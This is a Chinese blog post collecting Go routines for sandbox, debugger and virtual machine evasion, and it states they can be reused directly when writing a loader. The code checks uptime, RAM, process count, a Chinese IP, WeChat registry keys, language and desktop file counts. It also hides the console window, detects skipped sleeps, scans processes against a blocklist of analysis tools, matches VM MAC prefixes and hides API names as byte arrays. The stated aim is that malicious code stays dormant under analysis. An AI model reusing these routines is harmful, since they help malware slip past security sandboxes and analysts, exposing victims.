首页 > 其他分享 >反沙箱技术

反沙箱技术

时间:2024-01-20 12:00:59浏览次数:17  
标签:false nil err 技术 func 沙箱 return true

学习和记录各种反沙箱的手段,均使用go实现。在编写loader时可以直接拿来使用

环境条件

开机时长

如果当前操作系统没有超过三十分钟就退出


func BootTime() bool {
	kernel := syscall.NewLazyDLL(string([]byte{
		'k', 'e', 'r', 'n', 'e', 'l', '3', '2',
	}))
	GetTickCount := kernel.NewProc("GetTickCount")
	r, _, _ := GetTickCount.Call()
	if r == 0 {
		return false
	}
	ms := time.Duration(r * 1000 * 1000)
	tm := time.Duration(30 * time.Minute)

	if ms < tm {
		return false
	} else {
		return true
	}
}

物理内存

获取系统的内存,将获取到的内存总量除以``1048576`​转换成GB来判断是不是小于4GB。

func PhysicalMemory() bool {
	var mod = syscall.NewLazyDLL(string([]byte{
		'k', 'e', 'r', 'n', 'e', 'l', '3', '2',
	}))
	var proc = mod.NewProc("GetPhysicallyInstalledSystemMemory")
	var mem uint64
	proc.Call(uintptr(unsafe.Pointer(&mem)))
	mem = mem / 1048576
	fmt.Printf("物理内存为%dG\n", mem)
	if mem < 4 {
		return false
	}
	return true
}

进程数量

如果没有超过60个就自动退出。

import "github.com/shirou/gopsutil/process"

func ProcessCount() bool {
	processes, err := process.Processes()
	if err != nil {
		return false
	}
	// fmt.Printf("当前进程数量: %d\n", count)
	if len(processes) < 60 {
		return false
	}
	return true
}

国内IP

判断当前ip是否位于国内

func IP() bool {
	url := "https://myip.ipip.net/"

	var s string
	err := requests.URL(url).ToString(&s).Fetch(context.Background())
	if err!= nil {
		return false
	}

	if !strings.Contains(s, "中国") {
		return false
	}
	return true
}

微信

检查当前用户的注册表中是否有微信的安装路径信息。

func Wechat() bool {
	k, err := registry.OpenKey(registry.CURRENT_USER, `SOFTWARE\\Tencent\\bugReport\\WechatWindows`, registry.QUERY_VALUE)
	if err != nil {
		return false
	}
	defer k.Close()

	s, _, err := k.GetStringValue("InstallDir")
	if err != nil || s == "" {
		return false
	}

	return true
}

中文语言

如果语言是英文的则不符合国内使用习惯,大概率是虚拟机或是沙箱。

func Language() bool {
	l := os.Getenv("LANG")

	if strings.Contains(l, "en_US") {
		return false
	}

	return true
}

虚拟内存交换文件

如果存在则表示系统配置了页面文件。

func Profile() bool {
	_, err := os.Stat("C:\\pagefile.sys")
	if os.IsNotExist(err) {
		return false
	} else if err != nil {
		return false
	}
	return true
}

桌面文件数量

获取用户桌面的路径,然后统计该目录下面非目录项的数量,如果文件数量小于7则退出。

func DesktopFile() bool {
	desktopPath, err := os.UserHomeDir()
	if err != nil {
		return false
	}

	desktopPath = filepath.Join(desktopPath, "Desktop")
	fileCount, err := countFilesInDir(desktopPath)
	if err != nil {
		return false
	}

	if fileCount < 7 {
		return false
	}

	return true
}

func countFilesInDir(dirPath string) (int, error) {
	var fileCount int

	err := filepath.Walk(dirPath, func(path string, info os.FileInfo, err error) error {
		if err != nil {
			return err
		}
		if !info.IsDir() {
			fileCount++
		}
		return nil
	})

	if err != nil {
		return -1, err
	}

	return fileCount, nil
}

其他操作

弹窗确认

可以先设置一个弹框,沙箱如果没有自动模拟点击的情况下就不执行恶意代码。

import "github.com/gen2brain/dlgs"

func start() {
	_, err := dlgs.Info("提示", "打开失败!")
	if err != nil {
		os.Exit(-1)
	}
}

隐藏黑框

import "github.com/lxn/win" 

func main() {
	win.ShowWindow(win.GetConsoleWindow(), win.SW_HIDE)
} 

延时执行

就是让当前的线程休眠10秒,然后对比实际的睡眠时间。

func TimeSleep() bool {
	start := time.Now()
	time.Sleep(10 * time.Second)
	end := time.Since(start)

	if end >= 10*time.Second {
		return true
	} else {
		return false
	}
}

反调试

检测系统中是否允许了调试器,MAX_PATH指的就是文件路径的最大长度,遍历所有的进程与黑名单进行比较

var blacklistDBG = []string{
	"IDA",
	"OLLY",
	"WINDBG",
	"GHIDRA",
}

const MAX_PATH = 260

func DetectDBG() bool {
	handle, err := syscall.CreateToolhelp32Snapshot(syscall.TH32CS_SNAPPROCESS, 0)
	if err != nil {
		return false
	}

	pe32 := syscall.ProcessEntry32{}
	pe32.Size = uint32(unsafe.Sizeof(pe32))

	err = syscall.Process32First(handle, &pe32)

	for err == nil {
		exeFile := strings.ToUpper(syscall.UTF16ToString(pe32.ExeFile[:MAX_PATH]))
		for _, pn := range blacklistDBG {
			if strings.Contains(exeFile, pn) {
				return true
			}
		}
		err = syscall.Process32Next(handle, &pe32)
	}

	if ret, _, _ := syscall.NewLazyDLL(string([]byte{
		'k', 'e', 'r', 'n', 'e', 'l', '3', '2',
	})).NewProc(string([]byte{
		'I', 's', 'D', 'e', 'b', 'u', 'g', 'g', 'e', 'r', 'P', 'r', 'e', 's', 'e', 'n', 't',
	})).Call(); ret != 0 {
		return true
	}

	return false
}

反虚拟机

资源

检测当前环境是否可能是虚拟机环境,调用Windows API来检测CPU虚拟化标志,以及runtime.NumCPU()​返回的处理器核心数量,少于2个则判断为虚拟机。然后判断系统总物理内存 ullTotalPhys​ 如果小于 1<<31(也就是2的31次方,即2GB)判断为虚拟机。

import "github.com/klauspost/cpuid"

type memoryStatusEx struct {
	dwLength                uint32
	dwMemoryLoad            uint32
	ullTotalPhys            uint64
	ullAvailPhys            uint64
	ullTotalPageFile        uint64
	ullAvailPageFile        uint64
	ullTotalVirtual         uint64
	ullAvailVirtual         uint64
	ullAvailExtendedVirtual uint64
}

func checkResource() bool {
	if cpuid.CPU.VM() {
		return true
	}

	memStatus := memoryStatusEx{}
	memStatus.dwLength = (uint32)(unsafe.Sizeof(memStatus))

	if ret, _, _ := syscall.NewLazyDLL(string([]byte{
		'k', 'e', 'r', 'n', 'e', 'l', '3', '2',
	})).NewProc(string([]byte{
		'G', 'l', 'o', 'b', 'a', 'l', 'M', 'e', 'm', 'o', 'r', 'y', 'S', 't', 'a', 't', 'u', 's', 'E', 'x',
	})).Call((uintptr)(unsafe.Pointer(&memStatus))); ret == 0 {
		return false
	}

	if runtime.NumCPU() < 2 || memStatus.ullTotalPhys < 1<<31 {
		return true
	}

	return false
}

NIC和MAC

判断网络接口卡 (NIC) 的 MAC 地址前缀来判断当前环境是否在某些虚拟机软件中运行

var blacklistedMacAddressPrefixes = []string{
	"00:1C:42", // Parallels
	"08:00:27", // VirtualBox
	"00:05:69", // |
	"00:0C:29", // | > VMWare
	"00:1C:14", // |
	"00:50:56", // |
	"00:16:E3", // Xen
}

func checkNic() bool {
	interfaces, err := net.Interfaces()
	if err != nil {
		return false
	}

	for _, iface := range interfaces {
		macAddr := iface.HardwareAddr.String()
		if strings.HasPrefix(iface.Name, "Ethernet") ||
			strings.HasPrefix(iface.Name, "以太网") ||
			strings.HasPrefix(iface.Name, "本地连接") {
			if macAddr != "" {
				for _, prefix := range blacklistedMacAddressPrefixes {
					if strings.HasPrefix(macAddr, prefix) {
						return true
					}
				}
			}
		}
	}

	return false
}

标签:false,nil,err,技术,func,沙箱,return,true
From: https://www.cnblogs.com/bktown/p/17976279/anti-sand-box-technology-1uwpao

相关文章

  • 图片与Base64编码相互转换、优势分析和技术实现
    在Web开发中,图片与Base64编码的相互转换是一个非常实用的技能。图片Base64编码是将图片文件转换为字符串格式,以便于在网络上传输和存储。本文将详细介绍图片与Base64编码的转换方法,以及图片Base64编码的优势。图片Base64相互转换|一个覆盖广泛主题工具的高效在线平台(amd......
  • 【技术探讨】无线通信模块拉距测试,是否一定要带笔记本电脑?
        用户购买无线模块后,一般第一步就是进行拉距测试,通常是准备2个笔记本电脑,一部电脑是放在在办公室有人值守,另外一部电脑在外场,双方使用手机或微信进行实时沟通测试结果,对于Sub-G的无线模块通常通信距离较远可以达到公里级甚至数公里之远,而笔记本的续航时间通常是2-3个小......
  • 大数据技术发展史
    什么是大数据大数据(BigData)是指在传统数据处理方法难以处理的情况下,需要新的处理模式来具有更强的决策力、洞察发现力和过程优化能力的海量、高增长率和多样化的信息资产。大数据的特征通常被概括为“4V”,即:Volume(容量):大数据的规模非常庞大,通常以TB(太字节)、PB(拍字节)或EB(艾......
  • WiFi协议技术详解概述
    WiFi协议,也称为无线保真技术,是一种允许电子设备通过无线方式在局域网(WLAN)和互联网上进行通信的技术标准。它基于IEEE802.11系列协议,这是一系列由电气和电子工程师协会制定的无线局域网标准。WiFi协议的工作原理主要包括了物理层和数据链路层的协议。在物理层,WiFi协议通过调制解调......
  • 工程监测仪器振弦采集仪的新技术研究与创新方面
    工程监测仪器振弦采集仪的新技术研究与创新方面工程监测仪器振弦采集仪是一种用于测量和监测工程结构振动特性的仪器。传统的振弦采集仪主要采用振弦传感器和数据采集设备,通过对结构振动信号的采集和分析,可以获得结构的动态特性,如固有频率、振动幅值等。 在新技术研究与创新......
  • 农业遥感大数据预警技术*省工程实验室
    1.农业遥感大数据预警技术*省工程实验室针对遥感大数据不确定性建模、多源信息融合、机器学习及数据挖掘方法、平台建设等问题,开展了遥感大数据在农业方面的技术研究及应用,加快高校与企业的技术成果向现实生产力转化,提升社会服务和产业持续发展能力。 天空地一体......
  • Jmeter、postman、python 三大主流技术如何操作数据库?
    1、前言只要是做测试工作的,必然会接触到数据库,数据库在工作中的主要应用场景包括但不限于以下:功能测试中,涉及数据展示功能,需查库校验数据正确及完整性;例如商品搜索功能自动化测试或性能测试中,某些接口要跑通,需要关联到数据库操作;例如注册接口中短信验证码获取自动化测试中......
  • 2023 年值得一读的技术文章 | NebulaGraph 技术社区
    在之前的产品篇,我们了解到了NebulaGraph内核及周边工具在2023年经历了什么样的变化。伴随着这些特性的变更和上线,在【文章】博客分类中,一篇篇的博文记录下了这些功能背后的设计思考和研发实践。当中,既有对内存管理MemoryTracker的原理讲解,也有对NebulaGraph的安装选择指......
  • 数字时代的陶瓷艺术:3D可视化技术的完美融合
    陶瓷,这一古老的艺术形式,见证了中华文明的辉煌。然而,随着时代的变迁,传统的陶瓷烧制过程正面临着诸多挑战。如何将这门千年技艺传承下去,并在现代社会中焕发新的光彩?3D可视化技术为我们打开了一扇通往未来的大门。 在传统的陶瓷烧制过程中,温度、气氛、时间等因素都是影响最终成品......
  • 论文翻译 | 【深入挖掘Java技术】「底层原理专题」深入分析一下并发编程之父Doug Lea
    前提介绍DougLea在州立大学奥斯威戈分校(DougLea)摘要本文深入探讨了一个Java框架的设计、实现及其性能。该框架遵循并行编程的理念,通过递归方式将问题分解为多个子任务,并利用工作窃取技术进行并行处理。所有子任务完成后,其结果被整合以形成完整的并行程序。在总体设计上,该框架借鉴......